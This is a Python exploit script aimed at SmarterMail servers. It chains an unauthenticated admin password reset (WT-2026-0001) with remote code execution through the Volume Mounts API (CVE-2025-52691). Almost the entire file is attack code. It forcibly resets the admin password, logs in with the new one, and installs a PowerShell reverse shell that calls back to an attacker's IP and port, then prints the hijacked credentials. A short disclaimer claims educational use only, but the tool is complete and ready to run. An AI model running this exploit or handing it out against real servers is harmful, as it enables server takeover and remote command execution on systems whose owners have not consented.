#!/usr/bin/env python3 """ CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit =================================================== A comprehensive exploit for SmarterMail that combines: 1. WT-2026-0001: Authentication bypass via password reset 2. RCE through Volume Mounts functionality https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/ https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691 Author: ninjazan420 Target: SmarterMail Build 9406 and earlier, Build 16.3.6989.16341 and earlier CVE: CVE-2025-52691 (Pre-Auth RCE) + WT-2026-0001 (Auth Bypass) DISCLAIMER: This tool is for educational and authorized testing purposes only. Unauthorized use is illegal and unethical. """ import argparse import requests import json import random import string import time import sys import os import subprocess from urllib.parse import urljoin from datetime import datetime class SmarterMailExploit: def __init__(self, target_host, target_port=9998, debug=False): self.target_host = target_host.rstrip('/') self.target_port = target_port self.base_url = f"{self.target_host}:{self.target_port}" self.debug = debug self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) # Disable SSL warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) self.admin_username = "admin" self.new_password = "NewPassword123!@#" self.session_token = None self.venv_python = self._get_venv_python() def _get_venv_python(self): """Get Python executable from virtual environment if available""" # Check if we're in a virtual environment if hasattr(sys, 'real_prefix') or (hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix): return sys.executable # Check for common virtual environment paths venv_paths = [ os.path.join(os.getcwd(), 'venv', 'bin', 'python'), os.path.join(os.getcwd(), '.venv', 'bin', 'python'), os.path.join(os.getcwd(), 'env', 'bin', 'python'), ] for path in venv_paths: if os.path.exists(path): return path # Fall back to system python return sys.executable def log(self, message, level="INFO"): """Log messages with timestamp""" timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") if level == "DEBUG" and not self.debug: return print(f"[{timestamp}] [{level}] {message}") def test_connection(self): """Test if target is reachable""" try: response = self.session.get(f"{self.base_url}/", timeout=10) if response.status_code == 200: self.log("Target is reachable", "SUCCESS") return True else: self.log(f"Target responded with status code: {response.status_code}", "WARNING") return False except Exception as e: self.log(f"Connection failed: {str(e)}", "ERROR") return False def phase1_auth_bypass(self): """ Phase 1: Authentication bypass via WT-2026-0001 Reset admin password without authentication """ self.log("Starting Phase 1: Authentication bypass", "INFO") url = f"{self.base_url}/api/v1/auth/force-reset-password" payload = { "IsSysAdmin": "true", "OldPassword": "dummy", "Username": self.admin_username, "NewPassword": self.new_password, "ConfirmPassword": self.new_password } try: response = self.session.post( url, json=payload, timeout=30 ) if response.status_code == 200: result = response.json() if result.get('success'): self.log("Admin password successfully changed", "SUCCESS") self.log(f"New password: {self.new_password}", "DEBUG") return True else: self.log(f"Password reset failed: {result.get('message', 'Unknown error')}", "ERROR") return False else: self.log(f"Unexpected response code: {response.status_code}", "ERROR") if self.debug: self.log(f"Response: {response.text}", "DEBUG") return False except Exception as e: self.log(f"Phase 1 failed: {str(e)}", "ERROR") return False def phase2_admin_login(self): """ Phase 2: Login as admin with new password """ self.log("Starting Phase 2: Admin login", "INFO") url = f"{self.base_url}/api/v1/auth/login" payload = { "username": self.admin_username, "password": self.new_password } try: response = self.session.post( url, json=payload, timeout=30 ) if response.status_code == 200: result = response.json() if result.get('success'): self.session_token = result.get('token', '') self.session.headers.update({ 'Authorization': f'Bearer {self.session_token}' }) self.log("Successfully logged in as admin", "SUCCESS") return True else: self.log(f"Login failed: {result.get('message', 'Unknown error')}", "ERROR") return False else: self.log(f"Login failed with status code: {response.status_code}", "ERROR") if self.debug: self.log(f"Response: {response.text}", "DEBUG") return False except Exception as e: self.log(f"Phase 2 failed: {str(e)}", "ERROR") return False def phase3_rce_via_volume_mounts(self, attacker_ip, attacker_port): """ Phase 3: RCE through Volume Mounts functionality Create a volume mount with reverse shell command """ self.log("Starting Phase 3: RCE via Volume Mounts", "INFO") # Generate random volume name volume_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) # PowerShell reverse shell command reverse_shell_cmd = f'cmd.exe /c "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\'{attacker_ip}\', {attacker_port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""' volume_mount_data = { "name": volume_name, "path": f"C:\\Temp\\{volume_name}", "command": reverse_shell_cmd, "enabled": True, "type": "command" } url = f"{self.base_url}/api/v1/settings/volume-mounts" try: response = self.session.post( url, json=volume_mount_data, timeout=30 ) if response.status_code == 200 or response.status_code == 201: result = response.json() self.log(f"Volume mount '{volume_name}' created successfully", "SUCCESS") self.log(f"Reverse shell command executed", "INFO") self.log(f"Connect to {attacker_ip}:{attacker_port} to get shell", "INFO") return True else: self.log(f"Volume mount creation failed with status code: {response.status_code}", "ERROR") if self.debug: self.log(f"Response: {response.text}", "DEBUG") return False except Exception as e: self.log(f"Phase 3 failed: {str(e)}", "ERROR") return False def verify_exploit_success(self): """Verify if exploit was successful""" self.log("Verifying exploit success", "INFO") try: # Check if we can access admin panel response = self.session.get(f"{self.base_url}/admin", timeout=10) if response.status_code == 200: self.log("Admin panel accessible - exploit successful!", "SUCCESS") return True else: self.log("Admin panel not accessible", "WARNING") return False except Exception as e: self.log(f"Verification failed: {str(e)}", "ERROR") return False def run_exploit(self, attacker_ip, attacker_port): """Run the complete exploit""" self.log("=" * 60, "INFO") self.log("CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit", "INFO") self.log("=" * 60, "INFO") self.log(f"Target: {self.base_url}", "INFO") self.log(f"Attacker IP: {attacker_ip}", "INFO") self.log(f"Attacker Port: {attacker_port}", "INFO") self.log("=" * 60, "INFO") # Test connection if not self.test_connection(): self.log("Target unreachable - aborting", "ERROR") return False # Phase 1: Auth bypass if not self.phase1_auth_bypass(): self.log("Phase 1 failed - aborting", "ERROR") return False # Phase 2: Admin login if not self.phase2_admin_login(): self.log("Phase 2 failed - aborting", "ERROR") return False # Phase 3: RCE if not self.phase3_rce_via_volume_mounts(attacker_ip, attacker_port): self.log("Phase 3 failed - aborting", "ERROR") return False # Verify success if self.verify_exploit_success(): self.log("=" * 60, "SUCCESS") self.log("EXPLOIT SUCCESSFUL!", "SUCCESS") self.log("=" * 60, "SUCCESS") self.log("You should now have a SYSTEM shell on the target", "INFO") self.log(f"Connect to {attacker_ip}:{attacker_port}", "INFO") return True else: self.log("Exploit verification failed", "ERROR") return False def main(): parser = argparse.ArgumentParser( description='CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 python3 exploit.py -H https://smartermail.target.com -P 443 -A 10.0.0.1 -p 8080 -d Legal Notice: This tool is for educational and authorized testing purposes only. Unauthorized use is illegal and unethical. Users are responsible for complying with all applicable laws. """ ) parser.add_argument('-H', '--host', required=True, help='Target host (e.g., http://192.168.1.100)') parser.add_argument('-P', '--port', type=int, default=9998, help='Target port (default: 9998)') parser.add_argument('-A', '--attacker-ip', required=True, help='Attacker IP for reverse shell') parser.add_argument('-p', '--attacker-port', type=int, required=True, help='Attacker port for reverse shell') parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output') parser.add_argument('--new-password', default='NewPassword123!@#', help='New admin password (default: NewPassword123!@#)') parser.add_argument('--admin-username', default='admin', help='Admin username (default: admin)') args = parser.parse_args() # Validate target URL if not args.host.startswith(('http://', 'https://')): print("Error: Target host must start with http:// or https://") sys.exit(1) print(""" """) # Create exploit instance exploit = SmarterMailExploit( target_host=args.host, target_port=args.port, debug=args.debug ) # Set custom admin username and password exploit.admin_username = args.admin_username exploit.new_password = args.new_password # Run exploit success = exploit.run_exploit(args.attacker_ip, args.attacker_port) if success: print("\nšŸŽ‰ Exploit completed successfully!") print(f"šŸ” Admin credentials: {args.admin_username}:{args.new_password}") print(f"šŸŽÆ Connect to {args.attacker_ip}:{args.attacker_port} for shell") print(f"šŸ Using Python from: {exploit.venv_python}") else: print("\nāŒ Exploit failed!") sys.exit(1) if __name__ == "__main__": main()